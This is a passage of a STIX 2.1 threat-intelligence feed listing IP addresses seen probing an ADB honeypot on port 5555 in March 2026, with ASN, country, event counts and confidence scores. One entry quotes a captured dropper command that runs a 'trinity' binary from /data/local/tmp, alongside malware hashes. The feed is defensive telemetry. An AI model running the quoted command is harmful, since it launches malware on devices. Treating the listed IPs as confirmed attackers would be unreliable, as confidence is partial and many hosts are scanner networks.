          "first_seen": "2026-03-10T01:38:01.000Z",
          "last_seen": "2026-03-17T08:33:34.332Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-10T04:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=CN; asn=4134; asn_org=Chinanet; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=6 | first_seen=2026-03-10T03:50:17.000Z | last_seen=2026-03-10T03:51:20.737Z | ports=5555 | cc=CN | asn=4134 | org=Chinanet",
      "id": "indicator--07f7077d-4eb8-4f94-ad4f-f42326a9e56f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '171.10.236.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T04:00:04.000Z",
      "valid_until": "2026-04-11T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 6,
          "first_seen": "2026-03-10T03:50:17.000Z",
          "last_seen": "2026-03-10T03:51:20.737Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4134"
          ],
          "org": [
            "Chinanet"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-10T04:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=57; ports=5555; cc=TH; asn=45758; asn_org=Triple T Broadband Public Company Limited; adb_cmd_hits=28; cmd=\"/data/local/tmp/nohup /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-03. events=57 | first_seen=2026-03-10T03:01:41.000Z | last_seen=2026-03-10T03:15:16.881Z | ports=5555 | cc=TH | asn=45758 | org=Triple T Broadband Public Company Limited | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,71ecfb7bbc015b2b192c05f726468b6f08fcc804c093c718b950e688cc414af5,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--c943aa2a-ba5d-4f34-8422-143a5019093f",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '171.5.94.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T04:00:04.000Z",
      "valid_until": "2026-04-11T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 57,
          "first_seen": "2026-03-10T03:01:41.000Z",
          "last_seen": "2026-03-10T03:15:16.881Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "TH"
          ],
          "asn": [
            "45758"
          ],
          "org": [
            "Triple T Broadband Public Company Limited"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "71ecfb7bbc015b2b192c05f726468b6f08fcc804c093c718b950e688cc414af5",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-10T04:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=CN; asn=9808; asn_org=China Mobile Communications Group Co., Ltd.; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=8 | first_seen=2026-03-10T03:11:46.000Z | last_seen=2026-03-20T18:01:33.232Z | ports=5555 | cc=CN | asn=9808 | org=China Mobile Communications Group Co., Ltd.",
      "id": "indicator--33cb0237-91bc-4644-a884-9579246c5d7f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '183.232.212.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T04:00:04.000Z",
      "valid_until": "2026-04-11T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 8,
          "first_seen": "2026-03-10T03:11:46.000Z",
          "last_seen": "2026-03-20T18:01:33.232Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "9808"
          ],
          "org": [
            "China Mobile Communications Group Co., Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-10T04:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=32 | first_seen=2026-03-10T03:04:31.000Z | last_seen=2026-03-22T06:19:54.179Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--aae1fbeb-ded2-458e-a0cb-bfc0057643db",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T04:00:04.000Z",
      "valid_until": "2026-04-11T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 32,
          "first_seen": "2026-03-10T03:04:31.000Z",
          "last_seen": "2026-03-22T06:19:54.179Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-10T04:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-10T03:02:50.000Z | last_seen=2026-03-10T03:03:59.075Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--a944f006-254d-4301-b65b-283f9605c0f6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.60']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T04:00:04.000Z",
      "valid_until": "2026-04-11T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-10T03:02:50.000Z",
          "last_seen": "2026-03-10T03:03:59.075Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-10T06:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=25; ports=5555; cc=US; asn=8075; asn_org=Microsoft Corporation; cats=Detection of a Network Scan; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=25 | first_seen=2026-03-10T05:41:46.000Z | last_seen=2026-03-10T05:53:12.215Z | ports=5555 | cc=US | asn=8075 | org=Microsoft Corporation",
      "id": "indicator--a6ecf693-ded0-4e16-9c24-e34b8226303b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '20.65.195.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T06:00:02.000Z",
      "valid_until": "2026-04-11T06:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 25,
          "first_seen": "2026-03-10T05:41:46.000Z",
          "last_seen": "2026-03-10T05:53:12.215Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "8075"
          ],
          "org": [
            "Microsoft Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-10T08:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=RO; asn=204428; asn_org=SS-Net; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=42 | first_seen=2026-03-10T07:44:14.000Z | last_seen=2026-03-14T04:32:41.434Z | ports=5555 | cc=RO | asn=204428 | org=SS-Net",
      "id": "indicator--cb290b49-f3e9-4e99-84a4-83c9fb0630c1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '80.94.95.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T08:00:03.000Z",
      "valid_until": "2026-04-11T08:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 42,
          "first_seen": "2026-03-10T07:44:14.000Z",
          "last_seen": "2026-03-14T04:32:41.434Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RO"
          ],
          "asn": [
            "204428"
          ],
          "org": [
            "SS-Net"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-10T08:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=RO; asn=204428; asn_org=SS-Net; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=42 | first_seen=2026-03-10T07:44:14.000Z | last_seen=2026-03-14T04:32:41.434Z | ports=5555 | cc=RO | asn=204428 | org=SS-Net",
      "id": "indicator--cb290b49-f3e9-4e99-84a4-83c9fb0630c1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '80.94.95.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T08:00:03.000Z",
      "valid_until": "2026-04-11T08:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 42,
          "first_seen": "2026-03-10T07:44:14.000Z",
          "last_seen": "2026-03-14T04:32:41.434Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RO"
          ],
          "asn": [
            "204428"
          ],
          "org": [
            "SS-Net"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-10T09:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=4 | first_seen=2026-03-10T08:21:28.000Z | last_seen=2026-03-10T08:22:29.203Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--c7065b56-20b9-43a0-946d-e7c9905360d5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T09:00:03.000Z",
      "valid_until": "2026-04-11T09:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 4,
          "first_seen": "2026-03-10T08:21:28.000Z",
          "last_seen": "2026-03-10T08:22:29.203Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-10T11:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=18; ports=5555; cc=US; asn=396982; asn_org=Google LLC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=22 | first_seen=2026-03-10T10:55:33.000Z | last_seen=2026-03-10T11:07:05.915Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--21e6f3cd-84af-4861-be6b-e490bd51ae2f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T11:00:02.000Z",
      "valid_until": "2026-04-11T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 22,
          "first_seen": "2026-03-10T10:55:33.000Z",
          "last_seen": "2026-03-10T11:07:05.915Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-10T11:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=18; ports=5555; cc=US; asn=396982; asn_org=Google LLC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=22 | first_seen=2026-03-10T10:55:33.000Z | last_seen=2026-03-10T11:07:05.915Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--21e6f3cd-84af-4861-be6b-e490bd51ae2f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T11:00:03.000Z",
      "valid_until": "2026-04-11T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 22,
          "first_seen": "2026-03-10T10:55:33.000Z",
          "last_seen": "2026-03-10T11:07:05.915Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-10T12:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=16509; asn_org=Amazon.com, Inc.; cats=Misc activity; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=9 | first_seen=2026-03-10T11:21:10.000Z | last_seen=2026-03-10T11:31:14.136Z | ports=5555 | cc=US | asn=16509 | org=Amazon.com, Inc.",
      "id": "indicator--f5031ef2-314f-4caf-ad26-021337519975",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '13.58.203.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T12:00:03.000Z",
      "valid_until": "2026-04-11T12:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 9,
          "first_seen": "2026-03-10T11:21:10.000Z",
          "last_seen": "2026-03-10T11:31:14.136Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "16509"
          ],
          "org": [
            "Amazon.com, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-10T12:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=16509; asn_org=Amazon.com, Inc.; cats=Misc activity; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=9 | first_seen=2026-03-10T11:21:10.000Z | last_seen=2026-03-10T11:31:14.136Z | ports=5555 | cc=US | asn=16509 | org=Amazon.com, Inc.",
      "id": "indicator--f5031ef2-314f-4caf-ad26-021337519975",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '13.58.203.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T12:00:04.000Z",
      "valid_until": "2026-04-11T12:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 9,
          "first_seen": "2026-03-10T11:21:10.000Z",
          "last_seen": "2026-03-10T11:31:14.136Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "16509"
          ],
          "org": [
            "Amazon.com, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-10T14:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=32475; asn_org=Internap Holding LLC; cats=Misc activity; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=54 | first_seen=2026-03-10T13:52:17.000Z | last_seen=2026-03-24T03:56:53.777Z | ports=5555 | cc=US | asn=32475 | org=Internap Holding LLC",
      "id": "indicator--2303acee-2166-4ffb-9d86-d3741c8eb264",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '203.55.131.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T14:00:02.000Z",
      "valid_until": "2026-04-11T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 54,
          "first_seen": "2026-03-10T13:52:17.000Z",
          "last_seen": "2026-03-24T03:56:53.777Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "32475"
          ],
          "org": [
            "Internap Holding LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-10T14:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=32475; asn_org=Internap Holding LLC; cats=Misc activity; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=54 | first_seen=2026-03-10T13:52:17.000Z | last_seen=2026-03-24T03:56:53.777Z | ports=5555 | cc=US | asn=32475 | org=Internap Holding LLC",
      "id": "indicator--2303acee-2166-4ffb-9d86-d3741c8eb264",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '203.55.131.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T14:00:02.000Z",
      "valid_until": "2026-04-11T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-03",
          "event_count": 54,
          "first_seen": "2026-03-10T13:52:17.000Z",
          "last_seen": "2026-03-24T03:56:53.777Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "32475"
          ],
          "org": [
            "Internap Holding LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-03-10T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-03. events=5 | first_seen=2026-03-10T15:47:04.000Z | last_seen=2026-03-10T15:48:10.876Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--df13617c-435e-487a-819a-5a45bc578c22",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-03-31T23:37:39Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '143.42.1.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-10T16:00:02.000Z",
      "valid_until": "2026-04-11T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
